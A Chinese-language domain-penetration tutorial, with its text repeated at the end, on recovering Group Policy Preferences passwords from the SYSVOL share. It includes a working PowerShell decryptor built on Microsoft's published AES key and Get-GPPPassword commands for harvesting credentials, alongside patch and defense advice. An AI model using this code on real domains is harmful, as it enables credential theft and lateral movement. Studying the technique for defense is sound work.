域渗透——利用SYSVOL还原组策略中保存的密码
字数 1455 2025-08-29 08:31:53

域渗透——利用SYSVOL还原组策略中保存的密码

0x00 概述

本文详细介绍了如何利用Windows域环境中的SYSVOL共享文件夹还原组策略中保存的密码。当域管理员使用组策略批量管理域内主机时,可能会将密码以加密形式存储在SYSVOL共享中,这些密码可以被任何域用户访问并解密,造成严重的安全隐患。

0x01 SYSVOL共享介绍

SYSVOL是域控制器上的一个共享文件夹,路径为:\\<DOMAIN>\SYSVOL\<DOMAIN>\

特点:

  • 所有域内主机都能访问
  • 保存组策略相关数据
  • 包含登录脚本、配置文件等
  • 默认权限允许所有域用户读取

0x02 组策略密码管理方法

Server 2003系统

管理员通常通过配置组策略执行VBS脚本来批量修改密码:

strComputer = "."
Set objUser = GetObject("WinNT://" & strComputer & "/Administrator, user")
objUser.SetPassword "domain123!"
objUser.SetInfo

安全问题

  • 密码明文保存在VBS脚本中
  • 脚本通常存放在SYSVOL共享
  • 任何域用户都能读取明文密码

Server 2008及更新系统

使用Group Policy Preferences配置组策略批量修改密码:

  1. 创建GPO(组策略对象)
  2. 在"用户配置"→"首选项"→"控制面板设置"→"本地用户和组"中设置
  3. 更新Administrator账户密码
  4. 设置策略权限

配置完成后,会在SYSVOL中生成XML配置文件,路径示例:
\\test.local\SYSVOL\test.local\Policies\{GPO_ID}\User\Preferences\Groups\Groups.xml

0x03 密码加密与解密

加密机制

密码以cpassword属性存储在XML文件中,使用AES-256加密,例如:

<cpassword="9XLcz+Caj/kyldECku6lQ1QJX3fe9gnshWkkWlgAN1U"/>

解密方法

微软公开了AES加密私钥,可以使用PowerShell解密:

function Get-DecryptedCpassword {
    [CmdletBinding()]
    Param (
        [string] $Cpassword 
    )
    
    try {
        # 处理Base64字符串
        $Mod = ($Cpassword.length % 4)
        switch ($Mod) {
            '1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)}
            '2' {$Cpassword += ("=" * (4 - $Mod))}
            '3' {$Cpassword += ("=" * (4 - $Mod))}
        }
        
        $Base64Decoded = [Convert]::FromBase64String($Cpassword)
        
        # 创建AES解密对象
        $AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
        [Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,
                             0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)
        $AesIV = New-Object Byte[]($AesObject.IV.Length)
        $AesObject.IV = $AesIV
        $AesObject.Key = $AesKey
        
        $DecryptorObject = $AesObject.CreateDecryptor()
        [Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length)
        
        return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
    }
    catch {Write-Error $Error[0]}
}

Get-DecryptedCpassword "9XLcz+Caj/kyldECku6lQ1QJX3fe9gnshWkkWlgAN1U"

自动化工具

可使用PowerSploit中的Get-GPPPassword.ps1脚本自动扫描SYSVOL并解密所有密码:

Import-Module .\Get-GPPPassword.ps1
Get-GPPPassword

0x04 其他可被利用的组策略位置

除了Groups.xml外,以下配置文件也可能包含cpassword:

  1. Services\Services.xml
  2. ScheduledTasks\ScheduledTasks.xml
  3. Printers\Printers.xml
  4. Drives\Drives.xml
  5. DataSources\DataSources.xml

注意:只有配置时需要输入密码的位置才会包含cpassword属性。

0x05 微软补丁KB2962486

微软发布了补丁KB2962486(MS14-025)修复此问题:

  • 安装后,组策略中无法设置用户名密码
  • XML文件中不再包含cpassword属性
  • 但XML文件仍会与组策略保持同步

0x06 防御建议

  1. 使用LAPS(Local Administrator Password Solution):

    • 确保每台域内主机有不同的本地管理员密码
    • 密码定期自动更换
  2. 安装补丁KB2962486

    • 防止在组策略中存储密码
  3. 避免在组策略中使用域控密码

    • 特别是域管理员账户密码
  4. 限制SYSVOL访问权限

    • 设置适当的共享权限和NTFS权限
  5. 使用PsPasswd工具

    • 作为替代方案批量修改密码
  6. 定期审计

    • 检查SYSVOL中是否包含敏感信息
    • 监控对SYSVOL的异常访问

0x07 总结

通过SYSVOL共享还原组策略密码是一种有效的域渗透技术,利用的是组策略密码管理中的设计缺陷。防御的关键在于采用更安全的密码管理方案(如LAPS)、及时安装补丁,并严格控制共享文件夹的访问权限。

域渗透——利用SYSVOL还原组策略中保存的密码 0x00 概述 本文详细介绍了如何利用Windows域环境中的SYSVOL共享文件夹还原组策略中保存的密码。当域管理员使用组策略批量管理域内主机时,可能会将密码以加密形式存储在SYSVOL共享中,这些密码可以被任何域用户访问并解密,造成严重的安全隐患。 0x01 SYSVOL共享介绍 SYSVOL是域控制器上的一个共享文件夹,路径为: \\<DOMAIN>\SYSVOL\<DOMAIN>\ 特点: 所有域内主机都能访问 保存组策略相关数据 包含登录脚本、配置文件等 默认权限允许所有域用户读取 0x02 组策略密码管理方法 Server 2003系统 管理员通常通过配置组策略执行VBS脚本来批量修改密码: 安全问题 : 密码明文保存在VBS脚本中 脚本通常存放在SYSVOL共享 任何域用户都能读取明文密码 Server 2008及更新系统 使用Group Policy Preferences配置组策略批量修改密码: 创建GPO(组策略对象) 在"用户配置"→"首选项"→"控制面板设置"→"本地用户和组"中设置 更新Administrator账户密码 设置策略权限 配置完成后,会在SYSVOL中生成XML配置文件,路径示例: \\test.local\SYSVOL\test.local\Policies\{GPO_ID}\User\Preferences\Groups\Groups.xml 0x03 密码加密与解密 加密机制 密码以cpassword属性存储在XML文件中,使用AES-256加密,例如: 解密方法 微软公开了AES加密私钥,可以使用PowerShell解密: 自动化工具 可使用PowerSploit中的Get-GPPPassword.ps1脚本自动扫描SYSVOL并解密所有密码: 0x04 其他可被利用的组策略位置 除了Groups.xml外,以下配置文件也可能包含cpassword: Services\Services.xml ScheduledTasks\ScheduledTasks.xml Printers\Printers.xml Drives\Drives.xml DataSources\DataSources.xml 注意 :只有配置时需要输入密码的位置才会包含cpassword属性。 0x05 微软补丁KB2962486 微软发布了补丁KB2962486(MS14-025)修复此问题: 安装后,组策略中无法设置用户名密码 XML文件中不再包含cpassword属性 但XML文件仍会与组策略保持同步 0x06 防御建议 使用LAPS (Local Administrator Password Solution): 确保每台域内主机有不同的本地管理员密码 密码定期自动更换 安装补丁KB2962486 : 防止在组策略中存储密码 避免在组策略中使用域控密码 : 特别是域管理员账户密码 限制SYSVOL访问权限 : 设置适当的共享权限和NTFS权限 使用PsPasswd工具 : 作为替代方案批量修改密码 定期审计 : 检查SYSVOL中是否包含敏感信息 监控对SYSVOL的异常访问 0x07 总结 通过SYSVOL共享还原组策略密码是一种有效的域渗透技术,利用的是组策略密码管理中的设计缺陷。防御的关键在于采用更安全的密码管理方案(如LAPS)、及时安装补丁,并严格控制共享文件夹的访问权限。